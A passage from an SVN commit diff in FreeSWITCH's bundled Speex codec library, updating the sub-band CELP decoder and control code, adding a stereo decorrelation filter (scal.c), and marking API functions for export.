-            st->pi_gain[sub] += st->interp_qlpc[i] + st->interp_qlpc[i+1];
+            rh += ak[i+1] - ak[i];
+            st->pi_gain[sub] += ak[i] + ak[i+1];
          }
 
          rl = low_pi_gain[sub];
 #ifdef FIXED_POINT
-         filter_ratio=PDIV32_16(SHL(rl+82,2),SHR(82+rh,5));
+         filter_ratio=EXTRACT16(SATURATE(PDIV32(SHL32(ADD32(rl,82),7),ADD32(82,rh)),32767));
 #else
          filter_ratio=(rl+.01)/(rh+.01);
 #endif
       
-      for (i=0;i<st->subframeSize;i++)
-         exc[i]=0;
+      SPEEX_MEMSET(exc, 0, st->subframeSize);
       if (!SUBMODE(innovation_unquant))
       {
-         float g;
+         spx_word32_t g;
          int quant;
 
          quant = speex_bits_unpack_unsigned(bits, 5);
-         g= exp(((float)quant-10)/8.0);
+         g= spx_exp(MULT16_16(QCONST16(.125f,11),(quant-10)));
          
-#ifdef FIXED_POINT
-         g /= filter_ratio/128.;
-#else
-         g /= filter_ratio;
-#endif
-         /* High-band excitation using the low-band excitation and a gain */
+         g = PDIV32(g, filter_ratio);
          
-#if 0
-         for (i=0;i<st->subframeSize;i++)
-            exc[i]=mode->folding_gain*g*st->low_innov[offset+i];
-#else
+         for (i=0;i<st->subframeSize;i+=2)
          {
-            float tmp=1;
-            /*static tmp1=0,tmp2=0;
-            static int seed=1;
-            el = compute_rms(low_innov+offset, st->subframeSize);*/
-            for (i=0;i<st->subframeSize;i++)
-            {
-               float e=tmp*g*mode->folding_gain*st->low_innov[offset+i];
-               tmp *= -1;
-               exc[i] = e;
-               /*float r = speex_rand(g*el,&seed);
-               exc[i] = .5*(r+tmp2 + e-tmp1);
-               tmp1 = e;
-               tmp2 = r;*/               
-            }
-            
+            exc[i]=SHL32(MULT16_32_P15(MULT16_16_Q15(mode->folding_gain,low_innov_alias[offset+i]),SHL32(g,6)),SIG_SHIFT);
+            exc[i+1]=NEG32(SHL32(MULT16_32_P15(MULT16_16_Q15(mode->folding_gain,low_innov_alias[offset+i+1]),SHL32(g,6)),SIG_SHIFT));
          }
          
-#endif    
       } else {
          spx_word16_t gc;
          spx_word32_t scale;
          int qgc = speex_bits_unpack_unsigned(bits, 4);
+         
+         el = low_exc_rms[sub];
+         gc = MULT16_16_Q15(QCONST16(0.87360,15),gc_quant_bound[qgc]);
 
-         el = compute_rms16(low_exc+offset, st->subframeSize);
-
-#ifdef FIXED_POINT
-         gc = MULT16_32_Q15(28626,gc_quant_bound[qgc]);
-#else
-         gc = exp((1/3.7)*qgc-0.15556);
-#endif
-
          if (st->subframeSize==80)
-            gc *= 1.4142;
+            gc = MULT16_16_P14(QCONST16(1.4142f,14),gc);
 
-         scale = SHL(MULT16_16(PDIV32_16(SHL(gc,SIG_SHIFT-6),filter_ratio),(1+el)),6);
-
+         scale = SHL32(PDIV32(SHL32(MULT16_16(gc, el),3), filter_ratio),SIG_SHIFT-3);
          SUBMODE(innovation_unquant)(exc, SUBMODE(innovation_params), st->subframeSize, 
                                      bits, stack, &st->seed);
 
@@ -1206,13 +1060,11 @@
             char *tmp_stack=stack;
             VARDECL(spx_sig_t *innov2);
             ALLOC(innov2, st->subframeSize, spx_sig_t);
-            for (i=0;i<st->subframeSize;i++)
-               innov2[i]=0;
+            SPEEX_MEMSET(innov2, 0, st->subframeSize);
             SUBMODE(innovation_unquant)(innov2, SUBMODE(innovation_params), st->subframeSize, 
                                         bits, stack, &st->seed);
+            signal_mul(innov2, innov2, MULT16_32_P15(QCONST16(0.4f,15),scale), st->subframeSize);
             for (i=0;i<st->subframeSize;i++)
-               innov2[i]*=scale/(float)SIG_SCALING*(1/2.5);
-            for (i=0;i<st->subframeSize;i++)
                exc[i] = ADD32(exc[i],innov2[i]);
             stack = tmp_stack;
          }
@@ -1222,27 +1074,23 @@
       if (st->innov_save)
       {
          for (i=0;i<st->subframeSize;i++)
-            innov_save[2*i]=exc[i];
+            innov_save[2*i]=EXTRACT16(PSHR32(exc[i],SIG_SHIFT));
       }
       
+      iir_mem16(st->excBuf, st->interp_qlpc, sp, st->subframeSize, st->lpcSize, 
+               st->mem_sp, stack);
       for (i=0;i<st->subframeSize;i++)
-         sp[i]=st->excBuf[i];
-      iir_mem2(sp, st->interp_qlpc, sp, st->subframeSize, st->lpcSize, 
-               st->mem_sp);
-      for (i=0;i<st->subframeSize;i++)
-         st->excBuf[i]=exc[i];
+         st->excBuf[i]=EXTRACT16(PSHR32(exc[i],SIG_SHIFT));
       for (i=0;i<st->lpcSize;i++)
          st->interp_qlpc[i] = ak[i];
-
+      st->exc_rms[sub] = compute_rms16(st->excBuf, st->subframeSize);
+      exc_ener_sum = ADD32(exc_ener_sum, DIV32(MULT16_16(st->exc_rms[sub],st->exc_rms[sub]), st->nbSubframes));
    }
-
-   fir_mem_up(st->x0d, h0, st->y0, st->full_frame_size, QMF_ORDER, st->g0_mem, stack);
-   fir_mem_up(st->high, h1, st->y1, st->full_frame_size, QMF_ORDER, st->g1_mem, stack);
-
-   mix_and_saturate(st->y0, st->y1, out, st->full_frame_size);
-
+   st->last_ener = spx_sqrt(exc_ener_sum);
+   
+   qmf_synth(out, out+st->frame_size, h0, out, st->full_frame_size, QMF_ORDER, st->g0_mem, st->g1_mem, stack);
    for (i=0;i<st->lpcSize;i++)
-      st->old_qlsp[i] = st->qlsp[i];
+      st->old_qlsp[i] = qlsp[i];
 
    st->first=0;
 
@@ -1277,6 +1125,7 @@
    case SPEEX_SET_MODE:
       speex_encoder_ctl(st, SPEEX_SET_QUALITY, ptr);
       break;
+#ifndef DISABLE_VBR
    case SPEEX_SET_VBR:
       st->vbr_enabled = (*(spx_int32_t*)ptr);
       speex_encoder_ctl(st->st_low, SPEEX_SET_VBR, ptr);
@@ -1291,6 +1140,8 @@
    case SPEEX_GET_VAD:
       (*(spx_int32_t*)ptr) = st->vad_enabled;
       break;
+#endif /* #ifndef DISABLE_VBR */
+#if !defined(DISABLE_VBR) && !defined(DISABLE_FLOAT_API)
    case SPEEX_SET_VBR_QUALITY:
       {
          spx_int32_t q;
@@ -1308,6 +1159,8 @@
    case SPEEX_GET_VBR_QUALITY:
       (*(float*)ptr) = st->vbr_quality;
       break;
+#endif /* #if !defined(DISABLE_VBR) && !defined(DISABLE_FLOAT_API) */
+#ifndef DISABLE_VBR
    case SPEEX_SET_ABR:
       st->abr_enabled = (*(spx_int32_t*)ptr);
       st->vbr_enabled = st->abr_enabled!=0;
@@ -1338,6 +1191,8 @@
    case SPEEX_GET_ABR:
       (*(spx_int32_t*)ptr) = st->abr_enabled;
       break;
+#endif /* #ifndef DISABLE_VBR */
+
    case SPEEX_SET_QUALITY:
       {
          spx_int32_t nb_qual;
@@ -1400,18 +1255,16 @@
          int i;
          st->first = 1;
          for (i=0;i<st->lpcSize;i++)
-            st->lsp[i]=(M_PI*((float)(i+1)))/(st->lpcSize+1);
+            st->old_lsp[i]= DIV32(MULT16_16(QCONST16(3.1415927f, LSP_SHIFT), i+1), st->lpcSize+1);
          for (i=0;i<st->lpcSize;i++)
             st->mem_sw[i]=st->mem_sp[i]=st->mem_sp2[i]=0;
-         for (i=0;i<st->bufSize;i++)
-            st->excBuf[i]=0;
          for (i=0;i<QMF_ORDER;i++)
-            st->h0_mem[i]=st->h1_mem[i]=st->g0_mem[i]=st->g1_mem[i]=0;
+            st->h0_mem[i]=st->h1_mem[i]=0;
       }
       break;
    case SPEEX_SET_SUBMODE_ENCODING:
       st->encode_submode = (*(spx_int32_t*)ptr);
-      speex_encoder_ctl(st->st_low, SPEEX_SET_SUBMODE_ENCODING, &ptr);
+      speex_encoder_ctl(st->st_low, SPEEX_SET_SUBMODE_ENCODING, ptr);
       break;
    case SPEEX_GET_SUBMODE_ENCODING:
       (*(spx_int32_t*)ptr) = st->encode_submode;
@@ -1426,6 +1279,7 @@
    case SPEEX_GET_PLC_TUNING:
       speex_encoder_ctl(st->st_low, SPEEX_GET_PLC_TUNING, ptr);
       break;
+#ifndef DISABLE_VBR
    case SPEEX_SET_VBR_MAX_BITRATE:
       {
          st->vbr_max = (*(spx_int32_t*)ptr);
@@ -1457,6 +1311,7 @@
    case SPEEX_GET_VBR_MAX_BITRATE:
       (*(spx_int32_t*)ptr) = st->vbr_max;
       break;
+#endif /* #ifndef DISABLE_VBR */
    case SPEEX_SET_HIGHPASS:
       speex_encoder_ctl(st->st_low, SPEEX_SET_HIGHPASS, ptr);
       break;
@@ -1477,33 +1332,24 @@
    case SPEEX_GET_EXC:
       {
          int i;
-         spx_sig_t *e = (spx_sig_t*)ptr;
-         for (i=0;i<st->full_frame_size;i++)
-            e[i]=0;
-         for (i=0;i<st->frame_size;i++)
-            e[2*i]=2*st->exc[i];
+         for (i=0;i<st->nbSubframes;i++)
+            ((spx_word16_t*)ptr)[i] = st->exc_rms[i];
       }
       break;
-   case SPEEX_GET_INNOV:
-      {
-         int i;
-         spx_sig_t *e = (spx_sig_t*)ptr;
-         for (i=0;i<st->full_frame_size;i++)
-            e[i]=0;
-         for (i=0;i<st->frame_size;i++)
-            e[2*i]=2*st->exc[i];
-      }
-      break;
+#ifndef DISABLE_VBR
    case SPEEX_GET_RELATIVE_QUALITY:
       (*(float*)ptr)=st->relative_quality;
       break;
+#endif /* #ifndef DISABLE_VBR */
    case SPEEX_SET_INNOVATION_SAVE:
-      st->innov_save = (spx_sig_t*)ptr;
+      st->innov_rms_save = (spx_word16_t*)ptr;
       break;
    case SPEEX_SET_WIDEBAND:
       speex_encoder_ctl(st->st_low, SPEEX_SET_WIDEBAND, ptr);
       break;
-
+   case SPEEX_GET_STACK:
+      *((char**)ptr) = st->stack;
+      break;
    default:
       speex_warning_int("Unknown nb_ctl request: ", request);
       return -1;
@@ -1581,11 +1427,12 @@
             st->mem_sp[i]=0;
          for (i=0;i<QMF_ORDER;i++)
             st->g0_mem[i]=st->g1_mem[i]=0;
+         st->last_ener=0;
       }
       break;
    case SPEEX_SET_SUBMODE_ENCODING:
       st->encode_submode = (*(spx_int32_t*)ptr);
-      speex_decoder_ctl(st->st_low, SPEEX_SET_SUBMODE_ENCODING, &ptr);
+      speex_decoder_ctl(st->st_low, SPEEX_SET_SUBMODE_ENCODING, ptr);
       break;
    case SPEEX_GET_SUBMODE_ENCODING:
       (*(spx_int32_t*)ptr) = st->encode_submode;
@@ -1600,7 +1447,9 @@
    case SPEEX_GET_HIGHPASS:
       speex_decoder_ctl(st->st_low, SPEEX_GET_HIGHPASS, ptr);
       break;
-
+   case SPEEX_GET_ACTIVITY:
+      speex_decoder_ctl(st->st_low, SPEEX_GET_ACTIVITY, ptr);
+      break;
    case SPEEX_GET_PI_GAIN:
       {
          int i;
@@ -1612,33 +1461,22 @@
    case SPEEX_GET_EXC:
       {
          int i;
-         spx_sig_t *e = (spx_sig_t*)ptr;
-         for (i=0;i<st->full_frame_size;i++)
-            e[i]=0;
-         for (i=0;i<st->frame_size;i++)
-            e[2*i]=2*st->exc[i];
+         for (i=0;i<st->nbSubframes;i++)
+            ((spx_word16_t*)ptr)[i] = st->exc_rms[i];
       }
       break;
-   case SPEEX_GET_INNOV:
-      {
-         int i;
-         spx_sig_t *e = (spx_sig_t*)ptr;
-         for (i=0;i<st->full_frame_size;i++)
-            e[i]=0;
-         for (i=0;i<st->frame_size;i++)
-            e[2*i]=2*st->exc[i];
-      }
-      break;
    case SPEEX_GET_DTX_STATUS:
       speex_decoder_ctl(st->st_low, SPEEX_GET_DTX_STATUS, ptr);
       break;
    case SPEEX_SET_INNOVATION_SAVE:
-      st->innov_save = (spx_sig_t*)ptr;
+      st->innov_save = (spx_word16_t*)ptr;
       break;
    case SPEEX_SET_WIDEBAND:
       speex_decoder_ctl(st->st_low, SPEEX_SET_WIDEBAND, ptr);
       break;
-
+   case SPEEX_GET_STACK:
+      *((char**)ptr) = st->stack;
+      break;
    default:
       speex_warning_int("Unknown nb_ctl request: ", request);
       return -1;

Modified: freeswitch/branches/seven/libs/speex/libspeex/sb_celp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/sb_celp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/sb_celp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -50,46 +50,29 @@
    int    nbSubframes;            /**< Number of high-band sub-frames*/
    int    windowSize;             /**< Length of high-band LPC window*/
    int    lpcSize;                /**< Order of high-band LPC analysis */
-   int    bufSize;                /**< Buffer size */
    int    first;                  /**< First frame? */
-   float  lag_factor;             /**< Lag-windowing control parameter */
    spx_word16_t  lpc_floor;       /**< Controls LPC analysis noise floor */
    spx_word16_t  gamma1;          /**< Perceptual weighting coef 1 */
    spx_word16_t  gamma2;          /**< Perceptual weighting coef 2 */
 
    char  *stack;                  /**< Temporary allocation stack */
-   spx_sig_t *x0d, *x1d;          /**< QMF filter signals*/
-   spx_sig_t *high;               /**< High-band signal (buffer) */
-   spx_sig_t *y0, *y1;            /**< QMF synthesis signals */
+   spx_word16_t *high;               /**< High-band signal (buffer) */
    spx_word16_t *h0_mem, *h1_mem;
-   spx_word32_t *g0_mem, *g1_mem; /**< QMF memories */
 
-   spx_sig_t *excBuf;             /**< High-band excitation */
-   spx_sig_t *exc;                /**< High-band excitation (for QMF only)*/
-   spx_sig_t *res;                /**< Zero-input response (ringing) */
-   spx_sig_t *sw;                 /**< Perceptually weighted signal */
    const spx_word16_t *window;    /**< LPC analysis window */
-   spx_word16_t *lagWindow;       /**< Auto-correlation window */
-   spx_word16_t *autocorr;        /**< Auto-correlation (for LPC analysis) */
-   spx_coef_t *lpc;               /**< LPC coefficients */
-   spx_lsp_t *lsp;                /**< LSP coefficients */
-   spx_lsp_t *qlsp;               /**< Quantized LSPs */
+   const spx_word16_t *lagWindow;       /**< Auto-correlation window */
    spx_lsp_t *old_lsp;            /**< LSPs of previous frame */
    spx_lsp_t *old_qlsp;           /**< Quantized LSPs of previous frame */
-   spx_lsp_t *interp_lsp;         /**< Interpolated LSPs for current sub-frame */
-   spx_lsp_t *interp_qlsp;        /**< Interpolated quantized LSPs for current sub-frame */
-   spx_coef_t *interp_lpc;        /**< Interpolated LPCs for current sub-frame */
    spx_coef_t *interp_qlpc;       /**< Interpolated quantized LPCs for current sub-frame */
-   spx_coef_t *bw_lpc1;           /**< Bandwidth-expanded version of LPCs (#1) */
-   spx_coef_t *bw_lpc2;           /**< Bandwidth-expanded version of LPCs (#2) */
 
    spx_mem_t *mem_sp;             /**< Synthesis signal memory */
    spx_mem_t *mem_sp2;
    spx_mem_t *mem_sw;             /**< Perceptual signal memory */
    spx_word32_t *pi_gain;
-   spx_sig_t *innov_save;         /**< If non-NULL, innovation is copied here */
-   spx_sig_t *low_innov;          /**< Lower-band innovation is copied here magically */
+   spx_word16_t *exc_rms;
+   spx_word16_t *innov_rms_save;         /**< If non-NULL, innovation is copied here */
 
+#ifndef DISABLE_VBR
    float  vbr_quality;            /**< Quality setting for VBR encoding */
    int    vbr_enabled;            /**< 1 for enabling VBR, 0 otherwise */
    spx_int32_t vbr_max;           /**< Max bit-rate allowed in VBR mode (total) */
@@ -100,7 +83,8 @@
    float  abr_count;
    int    vad_enabled;            /**< 1 for enabling VAD, 0 otherwise */
    float  relative_quality;
-
+#endif /* #ifndef DISABLE_VBR */
+   
    int    encode_submode;
    const SpeexSubmode * const *submodes;
    int    submodeID;
@@ -125,23 +109,18 @@
    int    lpc_enh_enabled;
 
    char  *stack;
-   spx_sig_t *x0d, *x1d;
-   spx_sig_t *high;
-   spx_sig_t *y0, *y1;
-   spx_word32_t *g0_mem, *g1_mem;
+   spx_word16_t *g0_mem, *g1_mem;
 
-   spx_sig_t *exc;
-   spx_sig_t *excBuf;
-   spx_lsp_t *qlsp;
+   spx_word16_t *excBuf;
    spx_lsp_t *old_qlsp;
-   spx_lsp_t *interp_qlsp;
    spx_coef_t *interp_qlpc;
 
    spx_mem_t *mem_sp;
    spx_word32_t *pi_gain;
-   spx_sig_t *innov_save;      /** If non-NULL, innovation is copied here */
-   spx_sig_t *low_innov;       /** Lower-band innovation is copied here magically */
+   spx_word16_t *exc_rms;
+   spx_word16_t *innov_save;      /** If non-NULL, innovation is copied here */
    
+   spx_word16_t last_ener;
    spx_int32_t seed;
 
    int    encode_submode;

Copied: freeswitch/branches/seven/libs/speex/libspeex/scal.c (from rev 14471, freeswitch/trunk/libs/speex/libspeex/scal.c) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/scal.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/scal.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,289 @@
+/* Copyright (C) 2006-2008 CSIRO, Jean-Marc Valin, Xiph.Org Foundation
+
+   File: scal.c
+   Shaped comb-allpass filter for channel decorrelation
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+/*
+The algorithm implemented here is described in:
+
+* J.-M. Valin, Perceptually-Motivated Nonlinear Channel Decorrelation For 
+  Stereo Acoustic Echo Cancellation, Accepted for Joint Workshop on 
+  Hands­free Speech Communication and Microphone Arrays (HSCMA), 2008.
+  http://people.xiph.org/~jm/papers/valin_hscma2008.pdf
+
+*/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "speex/speex_echo.h"
+#include "vorbis_psy.h"
+#include "arch.h"
+#include "os_support.h"
+#include "smallft.h"
+#include <math.h>
+#include <stdlib.h>
+
+#define ALLPASS_ORDER 20
+
+struct SpeexDecorrState_ {
+   int rate;
+   int channels;
+   int frame_size;
+#ifdef VORBIS_PSYCHO
+   VorbisPsy *psy;
+   struct drft_lookup lookup;
+   float *wola_mem;
+   float *curve;
+#endif
+   float *vorbis_win;
+   int    seed;
+   float *y;
+   
+   /* Per-channel stuff */
+   float *buff;
+   float (*ring)[ALLPASS_ORDER];
+   int *ringID;
+   int *order;
+   float *alpha;
+};
+
+
+
+EXPORT SpeexDecorrState *speex_decorrelate_new(int rate, int channels, int frame_size)
+{
+   int i, ch;
+   SpeexDecorrState *st = speex_alloc(sizeof(SpeexDecorrState));
+   st->rate = rate;
+   st->channels = channels;
+   st->frame_size = frame_size;
+#ifdef VORBIS_PSYCHO
+   st->psy = vorbis_psy_init(rate, 2*frame_size);
+   spx_drft_init(&st->lookup, 2*frame_size);
+   st->wola_mem = speex_alloc(frame_size*sizeof(float));
+   st->curve = speex_alloc(frame_size*sizeof(float));
+#endif
+   st->y = speex_alloc(frame_size*sizeof(float));
+
+   st->buff = speex_alloc(channels*2*frame_size*sizeof(float));
+   st->ringID = speex_alloc(channels*sizeof(int));
+   st->order = speex_alloc(channels*sizeof(int));
+   st->alpha = speex_alloc(channels*sizeof(float));
+   st->ring = speex_alloc(channels*ALLPASS_ORDER*sizeof(float));
+   
+   /*FIXME: The +20 is there only as a kludge for ALL_PASS_OLA*/
+   st->vorbis_win = speex_alloc((2*frame_size+20)*sizeof(float));
+   for (i=0;i<2*frame_size;i++)
+      st->vorbis_win[i] = sin(.5*M_PI* sin(M_PI*i/(2*frame_size))*sin(M_PI*i/(2*frame_size)) );
+   st->seed = rand();
+   
+   for (ch=0;ch<channels;ch++)
+   {
+      for (i=0;i<ALLPASS_ORDER;i++)
+         st->ring[ch][i] = 0;
+      st->ringID[ch] = 0;
+      st->alpha[ch] = 0;
+      st->order[ch] = 10;
+   }
+   return st;
+}
+
+static float uni_rand(int *seed)
+{
+   const unsigned int jflone = 0x3f800000;
+   const unsigned int jflmsk = 0x007fffff;
+   union {int i; float f;} ran;
+   *seed = 1664525 * *seed + 1013904223;
+   ran.i = jflone | (jflmsk & *seed);
+   ran.f -= 1.5;
+   return 2*ran.f;
+}
+
+static unsigned int irand(int *seed)
+{
+   *seed = 1664525 * *seed + 1013904223;
+   return ((unsigned int)*seed)>>16;
+}
+
+
+EXPORT void speex_decorrelate(SpeexDecorrState *st, const spx_int16_t *in, spx_int16_t *out, int strength)
+{
+   int ch;
+   float amount;
+   
+   if (strength<0)
+      strength = 0;
+   if (strength>100)
+      strength = 100;
+   
+   amount = .01*strength;
+   for (ch=0;ch<st->channels;ch++)
+   {
+      int i;
+      int N=2*st->frame_size;
+      float beta, beta2;
+      float *x;
+      float max_alpha = 0;
+      
+      float *buff;
+      float *ring;
+      int ringID;
+      int order;
+      float alpha;
+
+      buff = st->buff+ch*2*st->frame_size;
+      ring = st->ring[ch];
+      ringID = st->ringID[ch];
+      order = st->order[ch];
+      alpha = st->alpha[ch];
+      
+      for (i=0;i<st->frame_size;i++)
+         buff[i] = buff[i+st->frame_size];
+      for (i=0;i<st->frame_size;i++)
+         buff[i+st->frame_size] = in[i*st->channels+ch];
+
+      x = buff+st->frame_size;
+      beta = 1.-.3*amount*amount;
+      if (amount>1)
+         beta = 1-sqrt(.4*amount);
+      else
+         beta = 1-0.63246*amount;
+      if (beta<0)
+         beta = 0;
+   
+      beta2 = beta;
+      for (i=0;i<st->frame_size;i++)
+      {
+         st->y[i] = alpha*(x[i-ALLPASS_ORDER+order]-beta*x[i-ALLPASS_ORDER+order-1])*st->vorbis_win[st->frame_size+i+order] 
+               + x[i-ALLPASS_ORDER]*st->vorbis_win[st->frame_size+i] 
+               - alpha*(ring[ringID]
+               - beta*ring[ringID+1>=order?0:ringID+1]);
+         ring[ringID++]=st->y[i];
+         st->y[i] *= st->vorbis_win[st->frame_size+i];
+         if (ringID>=order)
+            ringID=0;
+      }
+      order = order+(irand(&st->seed)%3)-1;
+      if (order < 5)
+         order = 5;
+      if (order > 10)
+         order = 10;
+      /*order = 5+(irand(&st->seed)%6);*/
+      max_alpha = pow(.96+.04*(amount-1),order);
+      if (max_alpha > .98/(1.+beta2))
+         max_alpha = .98/(1.+beta2);
+   
+      alpha = alpha + .4*uni_rand(&st->seed);
+      if (alpha > max_alpha)
+         alpha = max_alpha;
+      if (alpha < -max_alpha)
+         alpha = -max_alpha;
+      for (i=0;i<ALLPASS_ORDER;i++)
+         ring[i] = 0;
+      ringID = 0;
+      for (i=0;i<st->frame_size;i++)
+      {
+         float tmp =  alpha*(x[i-ALLPASS_ORDER+order]-beta*x[i-ALLPASS_ORDER+order-1])*st->vorbis_win[i+order] 
+               + x[i-ALLPASS_ORDER]*st->vorbis_win[i] 
+               - alpha*(ring[ringID]
+               - beta*ring[ringID+1>=order?0:ringID+1]);
+         ring[ringID++]=tmp;
+         tmp *= st->vorbis_win[i];
+         if (ringID>=order)
+            ringID=0;
+         st->y[i] += tmp;
+      }
+   
+#ifdef VORBIS_PSYCHO
+      float frame[N];
+      float scale = 1./N;
+      for (i=0;i<2*st->frame_size;i++)
+         frame[i] = buff[i];
+   //float coef = .5*0.78130;
+      float coef = M_PI*0.075063 * 0.93763 * amount * .8 * 0.707;
+      compute_curve(st->psy, buff, st->curve);
+      for (i=1;i<st->frame_size;i++)
+      {
+         float x1,x2;
+         float gain;
+         do {
+            x1 = uni_rand(&st->seed);
+            x2 = uni_rand(&st->seed);
+         } while (x1*x1+x2*x2 > 1.);
+         gain = coef*sqrt(.1+st->curve[i]);
+         frame[2*i-1] = gain*x1;
+         frame[2*i] = gain*x2;
+      }
+      frame[0] = coef*uni_rand(&st->seed)*sqrt(.1+st->curve[0]);
+      frame[2*st->frame_size-1] = coef*uni_rand(&st->seed)*sqrt(.1+st->curve[st->frame_size-1]);
+      spx_drft_backward(&st->lookup,frame);
+      for (i=0;i<2*st->frame_size;i++)
+         frame[i] *= st->vorbis_win[i];
+#endif
+   
+      for (i=0;i<st->frame_size;i++)
+      {
+#ifdef VORBIS_PSYCHO
+         float tmp = st->y[i] + frame[i] + st->wola_mem[i];
+         st->wola_mem[i] = frame[i+st->frame_size];
+#else
+         float tmp = st->y[i];
+#endif
+         if (tmp>32767)
+            tmp = 32767;
+         if (tmp < -32767)
+            tmp = -32767;
+         out[i*st->channels+ch] = tmp;
+      }
+      
+      st->ringID[ch] = ringID;
+      st->order[ch] = order;
+      st->alpha[ch] = alpha;
+
+   }
+}
+
+EXPORT void speex_decorrelate_destroy(SpeexDecorrState *st)
+{
+#ifdef VORBIS_PSYCHO
+   vorbis_psy_destroy(st->psy);
+   speex_free(st->wola_mem);
+   speex_free(st->curve);
+#endif
+   speex_free(st->buff);
+   speex_free(st->ring);
+   speex_free(st->ringID);
+   speex_free(st->alpha);
+   speex_free(st->vorbis_win);
+   speex_free(st->order);
+   speex_free(st->y);
+   speex_free(st);
+}

Modified: freeswitch/branches/seven/libs/speex/libspeex/smallft.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/smallft.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/smallft.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,7 +34,8 @@
 
 #include <math.h>
 #include "smallft.h"
-#include "misc.h"
+#include "arch.h"
+#include "os_support.h"
 
 static void drfti1(int n, float *wa, int *ifac){
   static int ntryh[4] = { 4,2,3,5 };

Modified: freeswitch/branches/seven/libs/speex/libspeex/speex.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/speex.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/speex.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,6 +38,7 @@
 
 #include "modes.h"
 #include <math.h>
+#include "os_support.h"
 
 #ifndef NULL
 #define NULL 0
@@ -47,22 +48,22 @@
 
 
 
-void *speex_encoder_init(const SpeexMode *mode)
+EXPORT void *speex_encoder_init(const SpeexMode *mode)
 {
    return mode->enc_init(mode);
 }
 
-void *speex_decoder_init(const SpeexMode *mode)
+EXPORT void *speex_decoder_init(const SpeexMode *mode)
 {
    return mode->dec_init(mode);
 }
 
-void speex_encoder_destroy(void *state)
+EXPORT void speex_encoder_destroy(void *state)
 {
    (*((SpeexMode**)state))->enc_destroy(state);
 }
 
-void speex_decoder_destroy(void *state)
+EXPORT void speex_decoder_destroy(void *state)
 {
    (*((SpeexMode**)state))->dec_destroy(state);
 }
@@ -83,7 +84,8 @@
 
 #ifdef FIXED_POINT
 
-int speex_encode(void *state, float *in, SpeexBits *bits)
+#ifndef DISABLE_FLOAT_API
+EXPORT int speex_encode(void *state, float *in, SpeexBits *bits)
 {
    int i;
    spx_int32_t N;
@@ -100,15 +102,17 @@
    }
    return (*((SpeexMode**)state))->enc(state, short_in, bits);
 }
+#endif /* #ifndef DISABLE_FLOAT_API */
 
-int speex_encode_int(void *state, spx_int16_t *in, SpeexBits *bits)
+EXPORT int speex_encode_int(void *state, spx_int16_t *in, SpeexBits *bits)
 {
    SpeexMode *mode;
    mode = *(SpeexMode**)state;
    return (mode)->enc(state, in, bits);
 }
 
-int speex_decode(void *state, SpeexBits *bits, float *out)
+#ifndef DISABLE_FLOAT_API
+EXPORT int speex_decode(void *state, SpeexBits *bits, float *out)
 {
    int i, ret;
    spx_int32_t N;
@@ -119,8 +123,9 @@
       out[i] = short_out[i];
    return ret;
 }
+#endif /* #ifndef DISABLE_FLOAT_API */
 
-int speex_decode_int(void *state, SpeexBits *bits, spx_int16_t *out)
+EXPORT int speex_decode_int(void *state, SpeexBits *bits, spx_int16_t *out)
 {
    SpeexMode *mode = *(SpeexMode**)state;
    return (mode)->dec(state, bits, out);
@@ -128,12 +133,12 @@
 
 #else
 
-int speex_encode(void *state, float *in, SpeexBits *bits)
+EXPORT int speex_encode(void *state, float *in, SpeexBits *bits)
 {
    return (*((SpeexMode**)state))->enc(state, in, bits);
 }
 
-int speex_encode_int(void *state, spx_int16_t *in, SpeexBits *bits)
+EXPORT int speex_encode_int(void *state, spx_int16_t *in, SpeexBits *bits)
 {
    int i;
    spx_int32_t N;
@@ -144,12 +149,12 @@
    return (*((SpeexMode**)state))->enc(state, float_in, bits);
 }
 
-int speex_decode(void *state, SpeexBits *bits, float *out)
+EXPORT int speex_decode(void *state, SpeexBits *bits, float *out)
 {
    return (*((SpeexMode**)state))->dec(state, bits, out);
 }
 
-int speex_decode_int(void *state, SpeexBits *bits, spx_int16_t *out)
+EXPORT int speex_decode_int(void *state, SpeexBits *bits, spx_int16_t *out)
 {
    int i;
    spx_int32_t N;
@@ -172,12 +177,12 @@
 
 
 
-int speex_encoder_ctl(void *state, int request, void *ptr)
+EXPORT int speex_encoder_ctl(void *state, int request, void *ptr)
 {
    return (*((SpeexMode**)state))->enc_ctl(state, request, ptr);
 }
 
